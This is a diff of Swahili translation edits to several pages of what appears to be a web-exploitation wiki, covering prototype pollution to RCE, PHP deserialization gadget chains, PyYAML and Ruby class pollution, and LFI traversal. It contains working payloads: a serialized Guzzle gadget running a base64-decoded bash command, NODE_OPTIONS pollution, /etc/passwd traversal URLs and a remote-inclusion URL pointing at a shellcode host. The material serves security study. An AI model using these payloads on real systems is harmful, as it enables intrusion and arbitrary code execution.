Unapofanya maamuzi kuhusu stack ipi uchunguze, mara nyingi ni muhimu kulenga stacks zinazohusiana na faili za maktaba za JavaScript, kwani uchafuzi wa prototype hutokea mara nyingi ndani ya maktaba hizi. Tambua stack husika kwa kuchunguza kiambatisho chake kwa faili za maktaba (inaonekana upande wa kulia, kama picha iliyotolewa kwa mwongozo). Katika hali zenye stacks nyingi, kama zile kwenye mistari 4 na 6, chaguo la mantiki ni stack kwenye mstari wa 4, kwani inawakilisha tukio la awali la uchafuzi na hivyo sababu ya msingi ya udhaifu. Kubofya kwenye stack kutakupeleka kwenye msimbo ulio hatarini.
![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
@ -56,9 +56,9 @@ Unapofanya maamuzi kuhusu stack ipi ya kuchunguza, mara nyingi ni muhimu kulenga
Gadget ni **msimbo ambao utakabiliwa mara tu udhaifu wa PP utakapogundulika**.
Ikiwa programu ni rahisi, tunaweza **kutafuta** **maneno muhimu** kama **`srcdoc/innerHTML/iframe/createElement`** na kupitia msimbo wa chanzo na kuangalia ikiwa inaleta **utendaji wa javascript**. Wakati mwingine, mbinu zilizotajwa zinaweza kutopata gadgets kabisa. Katika kesi hiyo, kupitia msimbo wa chanzo wa safi kunaweza kufichua gadgets nzuri kama mfano ulio hapa chini.
Ikiwa programu ni rahisi, tunaweza **kutafuta** **maneno muhimu** kama **`srcdoc/innerHTML/iframe/createElement`** na kupitia msimbo wa chanzo na kuangalia ikiwa inaleta **utendaji wa javascript**. Wakati mwingine, mbinu zilizotajwa zinaweza kutopata gadgets kabisa. Katika hali hiyo, kupitia msimbo wa chanzo wa safi kunaweza kufichua gadgets nzuri kama mfano ulio hapa chini.
### Mfano wa Kutafuta gadget ya PP katika msimbo wa maktaba ya Mithil
### Mfano wa Kupata gadget ya PP katika msimbo wa maktaba ya Mithil
Angalia andiko hili: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
@ -67,9 +67,9 @@ Angalia andiko hili: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-chall
- [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
- [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## Kupita kwa sanitizers za HTML kupitia PP
## Kupita kwa HTML Sanitizers kupitia PP
[**Utafiti huu**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) unaonyesha gadgets za PP za kutumia ili **kupita sanitizations** zinazotolewa na baadhi ya maktaba za sanitizers za HTML:
[**Utafiti huu**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) unaonyesha gadgets za PP za kutumia ili **kupita sanizations** zinazotolewa na baadhi ya maktaba za HTML sanitizers:
- **sanitize-html**

View File

@ -65,9 +65,9 @@ Inawezekana kubadilisha **kodi ya hali iliyorudishwa** kwa kutumia payload ya PP
```json
{ "__proto__": { "status": 510 } }
```
### Hitilafu
### Kosa
Unapoweka kwenye prototype kwa kutumia primitive kama string, inazalisha **operesheni isiyo na athari kwa sababu prototype inapaswa kuwa kitu**. Ikiwa unajaribu kuweka kitu cha prototype kwenye `Object.prototype` yenyewe, hii itasababisha **kutoa hitilafu**. Tunaweza kutumia tabia hizi mbili **kubaini ikiwa uchafuzi wa prototype umefanikiwa**:
Unapoweka kwenye prototype kwa kutumia primitive kama string, inazalisha **operesheni isiyo na athari kwa sababu prototype inapaswa kuwa kitu**. Ikiwa unajaribu kuweka kitu cha prototype kwenye `Object.prototype` yenyewe, hii itasababisha **kutoa hitilafu**. Tunaweza kutumia tabia hizi mbili ili **kubaini ikiwa uchafuzi wa prototype umefanikiwa**:
```javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
@ -87,16 +87,16 @@ Zaidi ya hayo, katika hali ambapo maktaba kama Lodash inatumika, kuweka mali kup
```
## Misc
### Ruhusu Mipira
### Ruhusu Vidoti
Kuna chaguo katika Express kinachokuruhusu **kuunda vitu kutoka kwa vigezo vya mfuatano wa swali**.\
Unaweza hakika kukitumia katika **mnyororo** wa hitilafu ili kutumia **udhaifu wa uchafuzi wa prototype**.
```json
{ "__proto__": { "allowDots": true } }
```
**`?foo.bar=baz` unda kitu katika Node.**
**`?foo.bar=baz` inaunda kitu katika Node.**
## Marejeleo
## Marejeo
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)

View File

@ -41,7 +41,7 @@ var proc = fork("a_file.js")
**PP2RCE** inamaanisha **Prototype Pollution to RCE** (Remote Code Execution).
Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unapoanzishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**:
Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unazalishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Angalia hiyo code unaweza kuona inawezekana **kuambukiza `envPairs`** tu kwa **kuharibu** **attribute `.env`.**
Angalia hiyo code unaweza kuona inawezekana **kuharibu `envPairs`** tu kwa **kuongeza uchafu** kwenye **attribute `.env`.**
### **Kuambukiza `__proto__`**
### **Kuharibu `__proto__`**
> [!WARNING]
> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** kazi ya kazi kutoka kwa maktaba ya **`child_process`** ya node, wakati kitu kinapoitwa ili **kuweka variable mpya ya env** kwa mchakato unahitaji tu **kuharibu chochote**.\
> Kwa mfano, ikiwa unafanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`.
> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** inavyofanya kazi kutoka kwa maktaba ya **`child_process`** ya node, wakati kitu kinapoitwa ili **kuweka variable mpya ya env** kwa mchakato unahitaji tu **kuongeza uchafu chochote**.\
> Kwa mfano, ukifanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`.
>
> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kuharibu** **attribute `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio).
> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kuongeza uchafu** kwenye **attribute `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio).
>
> Ndio maana **`NODE_OPTIONS`** **haina ndani ya `.env`** katika shambulio linalofuata.
> Ndio maana **`NODE_OPTIONS`** **haipo ndani ya `.env`** katika shambulio linalofuata.
```javascript
const { execSync, fork } = require("child_process")
@ -124,7 +124,7 @@ var proc = fork("a_file.js")
Payload inayofanana na ile ya awali yenye mabadiliko kadhaa ilipendekezwa katika [**hiki andiko**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Tofauti kuu ni:
- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi **ndani ya argv0** ya **`/proc/self/cmdline`**.
- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi i**ndani ya argv0** ya **`/proc/self/cmdline`**.
- Kisha, badala ya kuhitaji kupitia **`NODE_OPTIONS`** faili `/proc/self/environ`, inahitaji **`/proc/self/cmdline`**.
```javascript
const { execSync, fork } = require("child_process")
@ -228,9 +228,9 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
Ili **`execFile`** ifanye kazi, **Lazima** itekeleze node ili NODE_OPTIONS ifanye kazi.\
Ikiwa **haifanyi** kazi ya **node**, unahitaji kutafuta jinsi ya **kubadilisha utekelezaji** wa chochote kinachotekelezwa **kwa kutumia mabadiliko ya mazingira** na kuyapanga.
Ikiwa **haifanyi** kazi ya **node**, unahitaji kutafuta jinsi unavyoweza **kubadilisha utekelezaji** wa chochote kinachotekelezwa **kwa kutumia mabadiliko ya mazingira** na kuyapanga.
Mbinu **zingine** **zinafanya kazi** bila hitaji hili kwa sababu **inawezekana kubadilisha** **kile kinachotekelezwa** kupitia prototype pollution. (Katika kesi hii, hata kama unaweza kupunguza `.shell`, huwezi kupunguza kile kinachotekelezwa).
Mbinu **zingine** **zinafanya kazi** bila hitaji hili kwa sababu **inawezekana kubadilisha** **kile kinachotekelezwa** kupitia uchafuzi wa prototype. (Katika kesi hii, hata kama unaweza kuchafua `.shell`, huwezi kuchafua kile kinachotekelezwa).
</details>
@ -463,11 +463,11 @@ var proc = spawnSync("something")
## Kulazimisha Kuanzisha
Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ni nini kitatokea ikiwa msimbo **hauiiti**.
Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ikiwa msimbo **hauiiti**.
### Kudhibiti njia ya faili ya require
Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itatekeleza njia ya kuanzisha wakati inapoingizwa.\
Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itatekeleza mbinu ya kuanzisha wakati inapoingizwa.\
Baadhi ya mifano ya faili za kawaida zinazoita kazi ya kuanzisha wakati zinapoingizwa ni:
- /path/to/npm/scripts/changelog.js
@ -513,7 +513,7 @@ Kwa hivyo, ikiwa hitaji linafanywa baada ya uchafuzi wako wa prototype na hakuna
#### Hitaji la moja kwa moja
Ikiwa hitaji lililofanywa ni **moja kwa moja** (`require("bytes")`) na **pakiti haina sehemu ya msingi** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **hitaji lifanye faili tofauti**.
Ikiwa hitaji lililofanywa ni **moja kwa moja** (`require("bytes")`) na **pakiti haina sehemu kuu** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **hitaji lifanye faili tofauti**.
{{#tabs}}
{{#tab name="exploit"}}

View File

@ -6,13 +6,13 @@ Kwanza, unapaswa kuangalia ni nini [**Autoloading Classes**](https://www.php.net
## PHP deserialization + spl_autoload_register + LFI/Gadget
Tuko katika hali ambapo tumepata **PHP deserialization katika webapp** bila **maktaba** inayoweza kuathiriwa na gadgets ndani ya **`phpggc`**. Hata hivyo, katika konteina hiyo hiyo kulikuwa na **webapp tofauti ya composer yenye maktaba zinazoweza kuathiriwa**. Kwa hivyo, lengo lilikuwa ni **kuchaji loader ya composer ya webapp nyingine** na kuitumia ku **load gadget ambayo itatumia maktaba hiyo kwa gadget** kutoka kwa webapp inayoweza kuathiriwa na deserialization.
Tuko katika hali ambapo tumepata **PHP deserialization katika webapp** bila **maktaba** inayoweza kuathiriwa na gadgets ndani ya **`phpggc`**. Hata hivyo, katika konteina hiyo hiyo kulikuwa na **webapp tofauti ya composer yenye maktaba zinazoweza kuathiriwa**. Kwa hivyo, lengo lilikuwa ni **kuchukua loader ya composer ya webapp nyingine** na kuitumia ku **load gadget ambayo itatumia maktaba hiyo kwa gadget** kutoka kwa webapp inayoweza kuathiriwa na deserialization.
Hatua:
- Umepata **deserialization** na **hakuna gadget** katika msimbo wa sasa wa app
- Unaweza kutumia **`spl_autoload_register`** kama ifuatavyo ili **kuchaji faili yoyote ya ndani yenye kiambishi cha `.php`**
- Kwa hiyo unatumia deserialization ambapo jina la darasa litakuwa ndani ya **`$name`**. Huwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosajiliwa, lakini **msimbo** unabadilisha **michirizi** ("\_") **kuwa slashes** ("/"). Hivyo jina la darasa kama `tmp_passwd` litabadilishwa kuwa `/tmp/passwd.php` na msimbo utajaribu kulichaji.\
- Unaweza kutumia **`spl_autoload_register`** kama ifuatavyo ili **kuchukua faili yoyote ya ndani yenye kiambishi cha `.php`**
- Kwa hiyo unatumia deserialization ambapo jina la darasa litakuwa ndani ya **`$name`**. Huwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosajiliwa, lakini **msimbo** unabadilisha **michoro** ("\_") **kuwa slashes** ("/"). Hivyo jina la darasa kama `tmp_passwd` litabadilishwa kuwa `/tmp/passwd.php` na msimbo utajaribu kulichukua.\
Mfano wa **gadget** utakuwa: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
@ -41,24 +41,24 @@ require __DIR__ . $filename;
Katika kesi yangu, sikuwa na kitu kama hicho, lakini kulikuwa ndani ya **container hiyo hiyo** ukurasa mwingine wa mtandao wa composer wenye **maktaba iliyo hatarini kwa `phpggc` gadget**.
- Ili kupakia maktaba hii nyingine, kwanza unahitaji **kupakia loader ya composer ya programu hiyo nyingine** (kwa sababu ya ile ya programu ya sasa haitafikia maktaba za nyingine.) **Kujua njia ya programu**, unaweza kufanikisha hii kwa urahisi sana na: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Katika kesi yangu, loader ya composer ilikuwa katika `/www/frontend/vendor/autoload.php`)
- Sasa, unaweza **kupakia** loader ya **app nyingine**, hivyo ni wakati wa **`kuunda phpgcc`** **payload** ya kutumia. Katika kesi yangu, nilitumia **`Guzzle/FW1`**, ambayo iliniruhusu **kuandika faili yoyote ndani ya mfumo wa faili**.
- KUMBUKA: **gadget iliyoundwa haikufanya kazi**, ili ifanye kazi nilifanya **mabadiliko** kwenye payload hiyo **`chain.php`** ya phpggc na kuweka **sifa zote** za madarasa **kutoka binafsi hadi umma**. La sivyo, baada ya deserialization ya string, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote.
- Sasa tuna njia ya **kupakia loader ya app nyingine** na kuwa na **phpggc payload inayofanya kazi**, lakini tunahitaji **kufanya hivi katika OMBI MOJA ili loader ipakuliwe wakati gadget inatumika**. Kwa hiyo, nilituma array iliyosawazishwa yenye vitu vyote viwili kama:
- Unaweza kuona **kwanza loader ikipakiwa na kisha payload**
- Sasa, unaweza **kupakia** loader ya **program nyingine**, hivyo ni wakati wa **`kuunda phpgcc`** **payload** ya kutumia. Katika kesi yangu, nilitumia **`Guzzle/FW1`**, ambayo iliniruhusu **kuandika faili yoyote ndani ya mfumo wa faili**.
- KUMBUKA: **gadget iliyoundwa haikufanya kazi**, ili ifanye kazi nilifanya **mabadiliko** kwenye payload hiyo **`chain.php`** ya phpggc na kuweka **sifa zote** za madarasa **kutoka private hadi public**. La sivyo, baada ya deserializing string, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote.
- Sasa tuna njia ya **kupakia loader ya programu nyingine** na kuwa na **phpggc payload inayofanya kazi**, lakini tunahitaji **kufanya hivi katika OMBI MOJA ili loader ipakuliwe wakati gadget inatumika**. Kwa hiyo, nilituma array iliyosawazishwa yenye vitu vyote viwili kama:
- Unaweza kuona **kwanza loader ikipakuliwa na kisha payload**
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- Sasa, tunaweza **kuunda na kuandika faili**, hata hivyo, mtumiaji **hakuweza kuandika katika folda yoyote ndani ya seva ya wavuti**. Hivyo, kama unavyoona katika payload, PHP inaita **`system`** na **base64** fulani inaundwa katika **`/tmp/a.php`**. Kisha, tunaweza **kurudia aina ya kwanza ya payload** ambayo tulitumia kama LFI ili kupakia mzigo wa composer wa programu nyingine ya wavuti **kupakia faili iliyoundwa `/tmp/a.php`**. Ongeza tu kwenye gadget ya deserialization:&#x20;
- Sasa, tunaweza **kuunda na kuandika faili**, hata hivyo, mtumiaji **hakuweza kuandika katika folda yoyote ndani ya seva ya wavuti**. Hivyo, kama unavyoona katika payload, PHP inaita **`system`** na **base64** fulani inaundwa katika **`/tmp/a.php`**. Kisha, tunaweza **kurudia aina ya kwanza ya payload** ambayo tulitumia kama LFI ili kupakia loader ya composer ya programu nyingine ya wavuti **kupakia faili iliyoundwa `/tmp/a.php`**. Ongeza tu kwenye gadget ya deserialization:&#x20;
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**Muhtasari wa payload**
- **Pakia autoload ya composer** ya webapp tofauti katika kontena moja
- **Pakia gadget ya phpggc** ili kutumia maktaba kutoka kwa webapp nyingine (webapp ya awali iliyoathirika na deserialization haikuwa na gadget yoyote kwenye maktaba zake)
- Gadget hiyo itaunda **faili yenye payload ya PHP** ndani yake katika /tmp/a.php yenye amri za uhalifu (mtumiaji wa webapp hawezi kuandika katika folda yoyote ya webapp yoyote)
- **Pakia gadget ya phpggc** ili kutumia maktaba kutoka kwa webapp nyingine (webapp ya awali iliyo hatarini kwa deserialization haikuwa na gadget yoyote kwenye maktaba zake)
- Gadget itaunda **faili yenye payload ya PHP** ndani yake katika /tmp/a.php yenye amri za uhalifu (mtumiaji wa webapp hawezi kuandika katika folda yoyote ya webapp yoyote)
- Sehemu ya mwisho ya payload yetu itatumia **pakiwa faili ya php iliyozalishwa** ambayo itatekeleza amri
Nilihitaji **kuita hii deserialization mara mbili**. Katika majaribio yangu, mara ya kwanza faili la `/tmp/a.php` lilikuwa limeundwa lakini halikupakiwa, na mara ya pili lilipakiwa kwa usahihi.
Nilihitaji **kuita hii deserialization mara mbili**. Katika majaribio yangu, mara ya kwanza faili ya `/tmp/a.php` ilizalishwa lakini haikupakiwa, na mara ya pili ilipakiwa vizuri.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -26,7 +26,7 @@ Angalia jinsi **tuple** si aina ya data ya msingi na kwa hivyo ilitolewa **seria
![](<../../images/image (1040).png>)
**safe_load()** au **safe_load_all()** hutumia SafeLoader na **haziungi mkono uondoaji wa vitu vya darasa**. Mfano wa uondoaji wa vitu vya darasa:
**safe_load()** au **safe_load_all()** hutumia SafeLoader na **haziungi mkono uhamasishaji wa vitu vya darasa**. Mfano wa uhamasishaji wa vitu vya darasa:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Kifungu kilichopita kilitumia **unsafe_load** kupakia darasa la python lililohifadhiwa. Hii ni kwa sababu katika **toleo >= 5.1**, hairuhusu **kufanya deserialization ya darasa lolote la python lililohifadhiwa au sifa za darasa**, bila Loader iliyotajwa katika load() au Loader=SafeLoader.
Kifungu kilichopita kilitumia **unsafe_load** kupakia darasa la python lililosanidiwa. Hii ni kwa sababu katika **toleo >= 5.1**, hairuhusu **kufanya deserialization ya darasa lolote la python lililosanidiwa au sifa za darasa**, bila Loader iliyotajwa katika load() au Loader=SafeLoader.
### Msingi wa Shambulio
@ -68,7 +68,7 @@ print(yaml.unsafe_load_all(data))
**Toleo za zamani** za pyyaml zilikuwa na udhaifu wa mashambulizi ya deserialization ikiwa **haukutaja Loader** unapopakua kitu: `yaml.load(data)`
Unaweza kupata [**maelezo ya udhaifu hapa**](https://hackmd.io/@defund/HJZajCVlP)**.** Pendekezo la **kuvamia** kwenye ukurasa huo ni:
Unaweza kupata [**maelezo ya udhaifu hapa**](https://hackmd.io/@defund/HJZajCVlP)**.** Utekelezaji **uliopendekezwa** katika ukurasa huo ni:
```yaml
!!python/object/new:str
state: !!python/tuple

View File

@ -4,9 +4,9 @@
Hii ni muhtasari kutoka kwenye posti [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html)
## Taarifa za Msingi
## Basic information
Wakati wa kutuma mwili, baadhi ya thamani zisizoweza kuhesabiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini.
Wakati wa kutuma mwili, baadhi ya thamani zisizoweza kuhashiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini.
```json
{
"id": 123,

View File

@ -143,16 +143,16 @@ JSONMergerApp.run(json_input)
```
### Maelezo
1. **Kuinua Mamlaka**: Njia ya `authorize` inakagua kama `to_s` inarudisha "Admin." Kwa kuingiza sifa mpya ya `to_s` kupitia JSON, mshambuliaji anaweza kufanya njia ya `to_s` irudishe "Admin," ikitoa mamlaka zisizoidhinishwa.
2. **Utendaji wa Msimbo wa Mbali**: Katika `health_check`, `instance_eval` inatekeleza mbinu zilizoorodheshwa katika `protected_methods`. Ikiwa mshambuliaji ataingiza majina ya mbinu maalum (kama `"puts 1"`), `instance_eval` itatekeleza hiyo, ikisababisha **utendaji wa msimbo wa mbali (RCE)**.
1. Hii inawezekana tu kwa sababu kuna **maagizo ya `eval` yenye udhaifu** yanayotekeleza thamani ya mfuatano huo.
3. **Kikomo cha Athari**: Udhaifu huu unahusisha tu mifano binafsi, ukiacha mifano mingine ya `User` na `Admin` isiyoathirika, hivyo kupunguza wigo wa unyakuzi.
1. **Kuinua Mamlaka**: Njia ya `authorize` inakagua kama `to_s` inarudisha "Admin." Kwa kuingiza sifa mpya ya `to_s` kupitia JSON, mshambuliaji anaweza kufanya njia ya `to_s` irudishe "Admin," ikitoa mamlaka zisizo halali.
2. **Utendaji wa Kanuni za Mbali**: Katika `health_check`, `instance_eval` inatekeleza njia zilizoorodheshwa katika `protected_methods`. Ikiwa mshambuliaji ataingiza majina ya njia za kawaida (kama `"puts 1"`), `instance_eval` itatekeleza hiyo, ikisababisha **utendaji wa kanuni za mbali (RCE)**.
1. Hii inawezekana tu kwa sababu kuna **maagizo ya `eval` yenye udhaifu** yanayotekeleza thamani ya mfuatano wa sifa hiyo.
3. **Kikomo cha Athari**: Udhaifu huu unahusisha tu mifano binafsi, ukiacha mifano mingine ya `User` na `Admin` bila kuathirika, hivyo kupunguza wigo wa unyakuzi.
### Mifano ya Uhalisia <a href="#real-world-cases" id="real-world-cases"></a>
### `deep_merge` ya ActiveSupport
Hii si dhaifu kwa default lakini inaweza kufanywa kuwa dhaifu kwa kitu kama:&#x20;
Hii si yenye udhaifu kwa default lakini inaweza kufanywa kuwa na udhaifu kwa kitu kama:&#x20;
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
@ -168,7 +168,7 @@ end
```
### Hashies `deep_merge`
Njia ya `deep_merge` ya Hashie inafanya kazi moja kwa moja kwenye sifa za kitu badala ya hash za kawaida. In **zuia kubadilisha mbinu** na sifa katika mchanganyiko na **visingizio** fulani: sifa zinazomalizika na `_`, `!`, au `?` zinaweza bado kuunganishwa kwenye kitu.
Njia ya `deep_merge` ya Hashie inafanya kazi moja kwa moja kwenye sifa za kitu badala ya hash za kawaida. In **zuia kubadilisha mbinu** na sifa katika mchanganyiko na **visingizio** vingine: sifa zinazomalizika na `_`, `!`, au `?` zinaweza bado kuunganishwa kwenye kitu.
Kesi maalum ni sifa **`_`** peke yake. Tu `_` ni sifa ambayo kawaida inarudisha kitu cha `Mash`. Na kwa sababu ni sehemu ya **visingizio**, inawezekana kuibadilisha.
@ -394,11 +394,11 @@ Ni inawezekana kubadilisha thamani ya sifa ya **`@@url`** ya darasa la mzazi **`
### **Kuchafua Darasa Nyingine**
Kwa payload hii:
Kwa kutumia payload hii:
```bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
```
Inawezekana kufanya brute-force kwa madarasa yaliyofafanuliwa na kwa wakati fulani kuharibu darasa **`KeySigner`** kwa kubadilisha thamani ya `signing_key` kuwa `injected-signing-key`.\
Inawezekana kufanya brute-force kwa madarasa yaliyoainishwa na kwa wakati fulani kuharibu darasa **`KeySigner`** kwa kubadilisha thamani ya `signing_key` kuwa `injected-signing-key`.\
## Marejeo

View File

@ -19,11 +19,11 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi nimeunda hii:**
**Kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi, nimeunda hii:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Jaribu pia kubadilisha `/` kwa `\`\
Jaribu pia kubadilisha `/` kuwa `\`\
Jaribu pia kuongeza `../../../../../`
Orodha inayotumia mbinu kadhaa kupata faili /etc/password (kuangalia kama udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
@ -34,7 +34,7 @@ Mchanganyiko wa orodha tofauti za maneno:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Jaribu pia kubadilisha `/` kwa `\`\
Jaribu pia kubadilisha `/` kuwa `\`\
Jaribu pia kuondoa `C:/` na kuongeza `../../../../../`
Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (kuangalia kama udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
@ -45,7 +45,7 @@ Angalia orodha ya LFI ya linux.
## Msingi wa LFI na njia za kupita
Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -74,15 +74,15 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Kutoka kwenye folda iliyopo
Labda back-end inakagua njia ya folda:
Labda upande wa nyuma unakagua njia ya folda:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Kuchunguza Maktaba za Mfumo wa Faili kwenye Seva
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufanikisha hili:
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna mbinu ya kina ya kufanikisha hili:
1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ina msingi wa Linux). Mfano wa URL unaweza kuwa na muundo kama ifuatavyo, ukionyesha kina cha tatu:
1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ni ya Linux). Mfano wa URL unaweza kuwa na muundo kama ifuatavyo, ukionyesha kina cha tatu:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
